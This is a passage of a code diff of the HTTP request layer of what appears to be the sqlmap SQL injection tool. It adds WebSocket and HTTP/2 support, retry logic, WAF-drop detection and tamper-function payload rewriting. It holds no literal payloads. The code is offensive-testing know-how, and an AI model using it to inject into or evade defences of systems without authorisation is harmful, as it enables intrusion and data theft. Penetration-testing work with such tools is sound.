headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary) + + if conf.keepAlive: + headers[HTTP_HEADER.CONNECTION] = "keep-alive" + + if chunked: + headers[HTTP_HEADER.TRANSFER_ENCODING] = "chunked" if auxHeaders: - for key, item in auxHeaders.items(): - headers[key] = item + headers = forgeHeaders(auxHeaders, headers) + + if kb.headersFile: + content = openFile(kb.headersFile, 'r').read() + for line in content.split("\n"): + line = getText(line.strip()) + if ':' in line: + header, value = line.split(':', 1) + headers[header] = value + + if conf.localhost: + headers[HTTP_HEADER.HOST] = "localhost" + + for key, value in list(headers.items()): + if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper(): + value = re.sub(r"(?i)(,)br(,)?", lambda match: ',' if match.group(1) and match.group(2) else "", value) or "identity" - for key, item in headers.items(): del headers[key] - headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(item, kb.pageEncoding) + if isinstance(value, six.string_types): + for char in (r"\r", r"\n"): + value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", value) + headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip("\r\n")) # Note: Python3 has_header() expects non-bytes value + + if six.PY2: + url = getBytes(url) # Note: Python3 requires text while Python2 has problems when mixing text with binary POST + + if webSocket: + ws = websocket.WebSocket() + ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) + ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically + ws.send(urldecode(post or "")) + + _page = [] + + if kb.webSocketRecvCount is None: + while True: + try: + _page.append(ws.recv()) + except websocket.WebSocketTimeoutException: + kb.webSocketRecvCount = len(_page) + break + else: + for i in xrange(max(1, kb.webSocketRecvCount)): + _page.append(ws.recv()) - post = unicodeencode(post, kb.pageEncoding) + page = "\n".join(_page) - if method: - req = MethodRequest(url, post, headers) - req.set_method(method) - else: - req = urllib2.Request(url, post, headers) + ws.close() + code = ws.status + status = _http_client.responses[code] - if not req.has_header(HTTPHEADER.ACCEPT_ENCODING): - requestHeaders += "%s: identity\n" % HTTPHEADER.ACCEPT_ENCODING + class _(dict): + pass - requestHeaders += "\n".join("%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in req.header_items()) + responseHeaders = _(ws.getheaders()) + responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] - if not req.has_header(HTTPHEADER.COOKIE) and conf.cj: - conf.cj._policy._now = conf.cj._now = int(time.time()) - cookies = conf.cj._cookies_for_request(req) - requestHeaders += "\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) + requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()]) + requestMsg += "\r\n%s" % requestHeaders - if not req.has_header(HTTPHEADER.CONNECTION): - requestHeaders += "\n%s: close" % HTTPHEADER.CONNECTION + if post is not None: + requestMsg += "\r\n\r\n%s" % getUnicode(post) - requestMsg += "\n%s" % requestHeaders + requestMsg += "\r\n" - if post: - requestMsg += "\n\n%s" % getUnicode(post) + threadData.lastRequestMsg = requestMsg - requestMsg += "\n" + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + else: + post = getBytes(post) - threadData.lastRequestMsg = requestMsg + if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST: + if kb.place != HTTPMETHOD.POST: + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) + else: + post = urldecode(post, convall=True) + post = encodeBase64(post) + + if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST): + req = MethodRequest(url, post, headers) + req.set_method(cmdLineOptions.method or method) + elif url is not None: + req = _urllib.request.Request(url, post, headers) + else: + return None, None, None - logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + for function in kb.preprocessFunctions: + try: + function(req) + except Exception as ex: + errMsg = "error occurred while running preprocess " + errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) + raise SqlmapGenericException(errMsg) + else: + post, headers = req.data, req.headers - conn = urllib2.urlopen(req) + requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()]) - if not kb.authHeader and req.has_header(HTTPHEADER.AUTHORIZATION): - kb.authHeader = req.get_header(HTTPHEADER.AUTHORIZATION) + if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: + conf.cj._policy._now = conf.cj._now = int(time.time()) + with conf.cj._cookies_lock: + cookies = conf.cj._cookies_for_request(req) + requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) - if not kb.proxyAuthHeader and req.has_header(HTTPHEADER.PROXY_AUTHORIZATION): - kb.proxyAuthHeader = req.get_header(HTTPHEADER.PROXY_AUTHORIZATION) + if post is not None: + if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked: + requestHeaders += "\r\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)) - # Return response object - if response: - return conn, None, None + if not getRequestHeader(req, HTTP_HEADER.CONNECTION): + requestHeaders += "\r\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive") - # Get HTTP response - if hasattr(conn, 'redurl'): - page = threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\ - else Connect.__connReadProxy(conn) - skipLogTraffic = kb.redirectChoice == REDIRECTION.NO - code = conn.redcode - else: - page = Connect.__connReadProxy(conn) + requestMsg += "\r\n%s" % requestHeaders - code = code or conn.code - responseHeaders = conn.info() - responseHeaders[URI_HTTP_HEADER] = conn.geturl() - page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE)) - status = getUnicode(conn.msg) + if post is not None: + requestMsg += "\r\n\r\n%s" % getUnicode(post) - if extractRegexResult(META_REFRESH_REGEX, page, re.DOTALL | re.IGNORECASE) and not refreshing: - url = extractRegexResult(META_REFRESH_REGEX, page, re.DOTALL | re.IGNORECASE) + if not chunked: + requestMsg += "\r\n" - debugMsg = "got HTML meta refresh header" - logger.debug(debugMsg) + if conf.cj: + for cookie in conf.cj: + if cookie.value is None: + cookie.value = "" + else: + for char in (r"\r", r"\n"): + cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) - if kb.alwaysRefresh is None: - msg = "sqlmap got a refresh request " - msg += "(redirect like response common to login pages). " - msg += "Do you want to apply the refresh " - msg += "from now on (or stay on the original page)? [Y/n]" - choice = readInput(msg, default="Y") + if conf.http2: + try: + import httpx + except ImportError: + raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else "")) - kb.alwaysRefresh = choice not in ("n", "N") + if LooseVersion(httpx.__version__) < LooseVersion(MIN_HTTPX_VERSION): + raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION)) - if kb.alwaysRefresh: - if url.lower().startswith('http://'): - kwargs['url'] = url + try: + proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if "://" not in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None + with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client: + conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post) + except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex: + raise _http_client.HTTPException(getSafeExString(ex)) else: - kwargs['url'] = conf.url[:conf.url.rfind('/')+1] + url + conn.code = conn.status_code + conn.msg = conn.reason_phrase + conn.info = lambda c=conn: c.headers - threadData.lastRedirectMsg = (threadData.lastRequestUID, page) - kwargs['refreshing'] = True - kwargs['get'] = None - kwargs['post'] = None + conn._read_buffer = conn.read() + conn._read_offset = 0 - try: - return Connect.__getPageProxy(**kwargs) - except sqlmapSyntaxException: - pass + requestMsg = re.sub(" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1) + + if not multipart: + threadData.lastRequestMsg = requestMsg + + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + + def _read(count=None): + offset = conn._read_offset + if count is None: + result = conn._read_buffer[offset:] + conn._read_offset = len(conn._read_buffer) + else: + result = conn._read_buffer[offset: offset + count] + conn._read_offset += len(result) + return result + + conn.read = _read + else: + if not multipart: + threadData.lastRequestMsg = requestMsg + + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + + conn = _urllib.request.urlopen(req) + + if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): + kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)) + + if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): + kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION) + + # Return response object + if response: + return conn, None, None + + # Get HTTP response + if hasattr(conn, "redurl"): + page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None + skipLogTraffic = kb.choices.redirect == REDIRECTION.NO + code = conn.redcode if not finalCode else code + else: + page = Connect._connReadProxy(conn) if not skipRead else None + + if conn: + code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes) + responseHeaders = conn.info() + responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, "geturl") else url + + if getattr(conn, "redurl", None) is not None: + responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl + + responseHeaders = patchHeaders(responseHeaders) + kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader) + else: + code = None + responseHeaders = {} + + page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling) + status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None + + kb.connErrorCounter = 0 + + if not refreshing: + refresh = responseHeaders.get(HTTP_HEADER.REFRESH, "").split("url=")[-1].strip() + + if extractRegexResult(META_REFRESH_REGEX, page): + refresh = extractRegexResult(META_REFRESH_REGEX, page) + + debugMsg = "got HTML meta refresh header" + logger.debug(debugMsg) + + if not refresh: + refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page) + + if refresh: + debugMsg = "got Javascript redirect logic" + logger.debug(debugMsg) + + if refresh: + if kb.alwaysRefresh is None: + msg = "got a refresh intent " + msg += "(redirect like response common to login pages) to '%s'. " % refresh + msg += "Do you want to apply it from now on? [Y/n]" + + kb.alwaysRefresh = readInput(msg, default='Y', boolean=True) + + if kb.alwaysRefresh: + if re.search(r"\Ahttps?://", refresh, re.I): + url = refresh + else: + url = _urllib.parse.urljoin(url, refresh) + + threadData.lastRedirectMsg = (threadData.lastRequestUID, page) + kwargs["refreshing"] = True + kwargs["url"] = url + kwargs["get"] = None + kwargs["post"] = None + + try: + return Connect._getPageProxy(**kwargs) + except SqlmapSyntaxException: + pass # Explicit closing of connection object - if not conf.keepAlive: + if conn and not conf.keepAlive: try: - if hasattr(conn.fp, '_sock'): + if hasattr(conn, "fp") and hasattr(conn.fp, '_sock'): conn.fp._sock.close() conn.close() - except Exception, msg: - warnMsg = "problem occured during connection closing ('%s')" % msg - logger.warn(warnMsg) + except Exception as ex: + warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex) + logger.warning(warnMsg) - except urllib2.HTTPError, e: + except SqlmapConnectionException as ex: + if conf.proxyList and not kb.threadException: + warnMsg = "unable to connect to the target URL ('%s')" % getSafeExString(ex) + logger.critical(warnMsg) + threadData.retriesCount = conf.retries + return Connect._retryProxy(**kwargs) + else: + raise + + except _urllib.error.HTTPError as ex: page = None responseHeaders = None + if checking: + return None, None, None + try: - page = e.read() - responseHeaders = e.info() - responseHeaders[URI_HTTP_HEADER] = e.geturl() - page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE)) + page = ex.read() if not skipRead else None + responseHeaders = ex.info() + responseHeaders[URI_HTTP_HEADER] = ex.geturl() + responseHeaders = patchHeaders(responseHeaders) + page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling) except socket.timeout: warnMsg = "connection timed out while trying " - warnMsg += "to get error page information (%d)" % e.code - logger.warn(warnMsg) + warnMsg += "to get error page information (%d)" % ex.code + logger.warning(warnMsg) return None, None, None except KeyboardInterrupt: raise except: pass finally: - page = page if isinstance(page, unicode) else getUnicode(page) + page = getUnicode(page) - code = e.code - threadData.lastHTTPError = (threadData.lastRequestUID, code) + code = ex.code + status = getUnicode(getattr(ex, "reason", None) or getSafeExString(ex).split(": ", 1)[-1]) + kb.originalCode = kb.originalCode or code + threadData.lastHTTPError = (threadData.lastRequestUID, code, status) kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1 - status = getUnicode(e.msg) - responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status) + responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) - if responseHeaders: - logHeaders = "\n".join("%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in responseHeaders.items()) + if responseHeaders and getattr(responseHeaders, "headers", None): + logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() - logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, page)) + logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) skipLogTraffic = True if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: - responseMsg += "%s\n\n%s\n" % (logHeaders, page) - - logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - - if e.code == httplib.UNAUTHORIZED: - errMsg = "not authorized, try to provide right HTTP " - errMsg += "authentication type and valid credentials (%d)" % code - raise sqlmapConnectionException, errMsg - elif e.code == httplib.NOT_FOUND: - if raise404: - errMsg = "page not found (%d)" % code - raise sqlmapConnectionException, errMsg + responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]) + + if not multipart: + logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) + + if code in conf.abortCode: + errMsg = "aborting due to detected HTTP code '%d'" % code + singleTimeLogMessage(errMsg, logging.CRITICAL) + raise SystemExit + + if ex.code not in (conf.ignoreCode or []): + if ex.code == _http_client.UNAUTHORIZED: + errMsg = "not authorized, try to provide right HTTP " + errMsg += "authentication type and valid credentials (%d). " % code + errMsg += "If this is intended, try to rerun by providing " + errMsg += "a valid value for option '--ignore-code'" + raise SqlmapConnectionException(errMsg) + elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED): + warnMsg = "turning off HTTP chunked transfer encoding " + warnMsg += "as it seems that the target site doesn't support it (%d)" % code + singleTimeWarnMessage(warnMsg) + conf.chunked = kwargs["chunked"] = False + return Connect.getPage(**kwargs) + elif ex.code == _http_client.REQUEST_URI_TOO_LONG: + warnMsg = "request URI is marked as too long by the target. " + warnMsg += "you are advised to try a switch '--no-cast' and/or '--no-escape'" + singleTimeWarnMessage(warnMsg) + elif ex.code == _http_client.NOT_FOUND: + if raise404: + errMsg = "page not found (%d)" % code + raise SqlmapConnectionException(errMsg) + else: + debugMsg = "page not found (%d)" % code + singleTimeLogMessage(debugMsg, logging.DEBUG) + elif ex.code == _http_client.GATEWAY_TIMEOUT: + if ignoreTimeout: + return None if not conf.ignoreTimeouts else "", None, None + else: + warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, _http_client.responses[ex.code]) + if threadData.retriesCount < conf.retries and not kb.threadException: + warnMsg += ". sqlmap is going to retry the request" + logger.critical(warnMsg) + return Connect._retryProxy(**kwargs) + elif kb.testMode: + logger.critical(warnMsg) + return None, None, None + else: + raise SqlmapConnectionException(warnMsg) else: - debugMsg = "page not found (%d)" % code + debugMsg = "got HTTP error code: %d ('%s')" % (code, status) logger.debug(debugMsg) - processResponse(page, responseHeaders) - elif e.code == httplib.GATEWAY_TIMEOUT: - if ignoreTimeout: - return None, None, None - else: - warnMsg = "unable to connect to the target url (%d - %s)" % (e.code, httplib.responses[e.code]) - if threadData.retriesCount < conf.retries and not kb.threadException and not conf.realTest: - warnMsg += ", sqlmap is going to retry the request" - logger.critical(warnMsg) - return Connect.__retryProxy(**kwargs) - elif kb.testMode: - logger.critical(warnMsg) - return None, None, None - else: - raise sqlmapConnectionException, warnMsg - else: - debugMsg = "got HTTP error code: %d (%s)" % (code, status) - logger.debug(debugMsg) - except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine, httplib.IncompleteRead, ProxyError), e: + except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError): tbMsg = traceback.format_exc() - if "no host given" in tbMsg: - warnMsg = "invalid url address used (%s)" % repr(url) - raise sqlmapSyntaxException, warnMsg - elif "forcibly closed" in tbMsg: - warnMsg = "connection was forcibly closed by the target url" + if conf.debug: + dataToStdout(tbMsg) + + if checking: + return None, None, None + elif "KeyError:" in tbMsg: + if "content-length" in tbMsg: + return None, None, None + else: + raise + elif "AttributeError:" in tbMsg: + if "WSAECONNREFUSED" in tbMsg: + return None, None, None + else: + raise + elif "no host given" in tbMsg: + warnMsg = "invalid URL address used (%s)" % repr(url) + raise SqlmapSyntaxException(warnMsg) + elif any(_ in tbMsg for _ in ("forcibly closed", "Connection is already closed", "ConnectionAbortedError")): + warnMsg = "connection was forcibly closed by the target URL" elif "timed out" in tbMsg: - warnMsg = "connection timed out to the target url" + if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): + singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests") + kb.droppingRequests = True + warnMsg = "connection timed out to the target URL" + elif "Connection reset" in tbMsg: + if not conf.disablePrecon: + singleTimeWarnMessage("turning off pre-connect mechanism because of connection reset(s)") + conf.disablePrecon = True + + if kb.testMode: + singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests") + kb.droppingRequests = True + warnMsg = "connection reset to the target URL" elif "URLError" in tbMsg or "error" in tbMsg: - warnMsg = "unable to connect to the target url" + warnMsg = "unable to connect to the target URL" + match = re.search(r"Errno \d+\] ([^>\n]+)", tbMsg) + if match: + warnMsg += " ('%s')" % match.group(1).strip() + elif "NTLM" in tbMsg: + warnMsg = "there has been a problem with NTLM authentication" + elif "Invalid header name" in tbMsg: # (e.g. PostgreSQL ::Text payload) + return None, None, None elif "BadStatusLine" in tbMsg: warnMsg = "connection dropped or unknown HTTP " - warnMsg += "status code received. Try to force the HTTP User-Agent " - warnMsg += "header with option '--user-agent' or switch '--random-agent'" + warnMsg += "status code received" + if not conf.agent and not conf.randomAgent: + warnMsg += ". Try to force the HTTP User-Agent " + warnMsg += "header with option '--user-agent' or switch '--random-agent'" elif "IncompleteRead" in tbMsg: warnMsg = "there was an incomplete read error while retrieving data " - warnMsg += "from the target url" + warnMsg += "from the target URL" + elif "Handshake status" in tbMsg: + status = re.search(r"Handshake status ([\d]{3})", tbMsg) + errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown" + raise SqlmapConnectionException(errMsg) + elif "SqlmapCompressionException" in tbMsg: + warnMsg = "problems with response (de)compression" + retrying = True else: - warnMsg = "unable to connect to the target url" + warnMsg = "unable to connect to the target URL" - if "BadStatusLine" not in tbMsg: + if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)): warnMsg += " or proxy" + if silent: + return None, None, None + + with kb.locks.connError: + kb.connErrorCounter += 1 + + if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None: + message = "there seems to be a continuous problem with connection to the target. " + message += "Are you sure that you want to continue? [y/N] " + + kb.choices.connError = readInput(message, default='N', boolean=True) + + if kb.choices.connError is False: + raise SqlmapSkipTargetException + if "forcibly closed" in tbMsg: logger.critical(warnMsg) return None, None, None - elif silent or (ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead"))): - return None, None, None - elif threadData.retriesCount < conf.retries and not kb.threadException and not conf.realTest: - warnMsg += ", sqlmap is going to retry the request" - logger.critical(warnMsg) - return Connect.__retryProxy(**kwargs) - elif kb.testMode: + elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead", "Interrupted system call")): + return None if not conf.ignoreTimeouts else "", None, None + elif threadData.retriesCount < conf.retries and not kb.threadException: + warnMsg += ". sqlmap is going to retry the request" + if not retrying: + warnMsg += "(s)" + logger.critical(warnMsg) + else: + logger.debug(warnMsg) + return Connect._retryProxy(**kwargs) + elif kb.testMode or kb.multiThreadMode: logger.critical(warnMsg) return None, None, None else: - raise sqlmapConnectionException, warnMsg + raise SqlmapConnectionException(warnMsg) finally: - page = page if isinstance(page, unicode) else getUnicode(page) + for function in kb.postprocessFunctions: + try: + page, responseHeaders, code = function(page, responseHeaders, code) + except Exception as ex: + errMsg = "error occurred while running postprocess " + errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) + raise SqlmapGenericException(errMsg) + + if isinstance(page, six.binary_type): + if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): + page = six.text_type(page, errors="ignore") + else: + page = getUnicode(page) + + for _ in (getattr(conn, "redcode", None), code): + if _ is not None and _ in conf.abortCode: + errMsg = "aborting due to detected HTTP code '%d'" % _ + singleTimeLogMessage(errMsg, logging.CRITICAL) + raise SystemExit + + threadData.lastPage = page + threadData.lastCode = code + socket.setdefaulttimeout(conf.timeout) - processResponse(page, responseHeaders) + # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091) + if not sys.version.startswith("3.11."): + if conf.retryOn and re.search(conf.retryOn, page, re.I): + if threadData.retriesCount < conf.retries: + warnMsg = "forced retry of the request because of undesired page content" + logger.warning(warnMsg) + return Connect._retryProxy(**kwargs) - responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status) - if responseHeaders: - logHeaders = "\n".join("%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in responseHeaders.items()) + processResponse(page, responseHeaders, code, status) if not skipLogTraffic: - logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, page)) + if conn and getattr(conn, "redurl", None): + _ = _urllib.parse.urlsplit(conn.redurl) + _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) + requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) - if conf.verbose <= 5: - responseMsg += getUnicode(logHeaders) - elif conf.verbose > 5: - responseMsg += "%s\n\n%s\n" % (logHeaders, page) + if kb.resendPostOnRedirect is False: + requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg) + requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg) + requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg) - logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) + responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, conn.code, status) + elif "\n" not in responseMsg: + responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) + + if responseHeaders: + logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() + + logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) + + if conf.verbose <= 5: + responseMsg += getUnicode(logHeaders) + elif conf.verbose > 5: + responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]) + + if not multipart: + logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) return page, responseHeaders, code @staticmethod - def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): + @stackedmethod + def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False): """ - This method calls a function to get the target url page content - and returns its page MD5 hash or a boolean value in case of - string match check ('--string' command line parameter) + This method calls a function to get the target URL page content + and returns its page ratio (0 <= ratio <= 1) or a boolean value + representing False/True match in case of !getRatioValue """ if conf.direct: @@ -539,62 +1050,153 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if not place: place = kb.injection.place or PLACE.GET + kb.place = place + + if not auxHeaders: + auxHeaders = {} + raise404 = place != PLACE.URI if raise404 is None else raise404 + method = method or conf.method + + postUrlEncode = kb.postUrlEncode value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() + if conf.httpHeaders: + headers = OrderedDict(conf.httpHeaders) + contentType = max(headers[_] or "" if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else "" for _ in headers) or None + + if (kb.postHint or conf.skipUrlEncode) and postUrlEncode: + postUrlEncode = False + if not (conf.skipUrlEncode and contentType): # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5092 + conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] + contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) + conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) + if "urlencoded" in contentType: + postUrlEncode = True + if payload: - if kb.tamperFunctions: + delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER) + + if not disableTampering and kb.tamperFunctions: for function in kb.tamperFunctions: - payload = function(payload) + hints = {} + + try: + payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints) + except Exception as ex: + errMsg = "error occurred while running tamper " + errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) + raise SqlmapGenericException(errMsg) + + if not isinstance(payload, six.string_types): + errMsg = "tamper function '%s' returns " % function.__name__ + errMsg += "invalid payload type ('%s')" % type(payload) + raise SqlmapValueException(errMsg) value = agent.replacePayload(value, payload) - logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) - - if place in (PLACE.GET, PLACE.POST, PLACE.URI, PLACE.CUSTOM_POST): - # payloads in GET and/or POST need to be urlencoded - # throughly without safe chars (especially & and =) - # addendum: as we support url encoding in tampering - # functions therefore we need to use % as a safe char - if place != PLACE.URI or (value and payload and '?' in value and value.find('?') < value.find(payload)): - payload = urlencode(payload, '%', False, True) if not place in (PLACE.POST, PLACE.CUSTOM_POST) and conf.skipUrlEncode else payload - value = agent.replacePayload(value, payload) - - elif place == PLACE.SOAP: - # payloads in SOAP should have chars > and < replaced - # with their HTML encoded counterparts - payload = payload.replace('>', ">").replace('<', "<") + if hints: + if HINT.APPEND in hints: + value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND]) + + if HINT.PREPEND in hints: + if place == PLACE.URI: + match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value) + if match: + value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0))) + else: + value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value) + + logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\')) + + if place == PLACE.CUSTOM_POST and kb.postHint: + if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): + # payloads in SOAP/XML should have chars > and < replaced + # with their HTML encoded counterparts + payload = payload.replace("&#", SAFE_HEX_MARKER) + payload = payload.replace('&', "&").replace('>', ">").replace('<', "<").replace('"', """).replace("'", "'") # Reference: https://stackoverflow.com/a/1091953 + payload = payload.replace(SAFE_HEX_MARKER, "&#") + elif kb.postHint == POST_HINT.JSON: + payload = escapeJsonValue(payload) + elif kb.postHint == POST_HINT.JSON_LIKE: + payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') + payload = 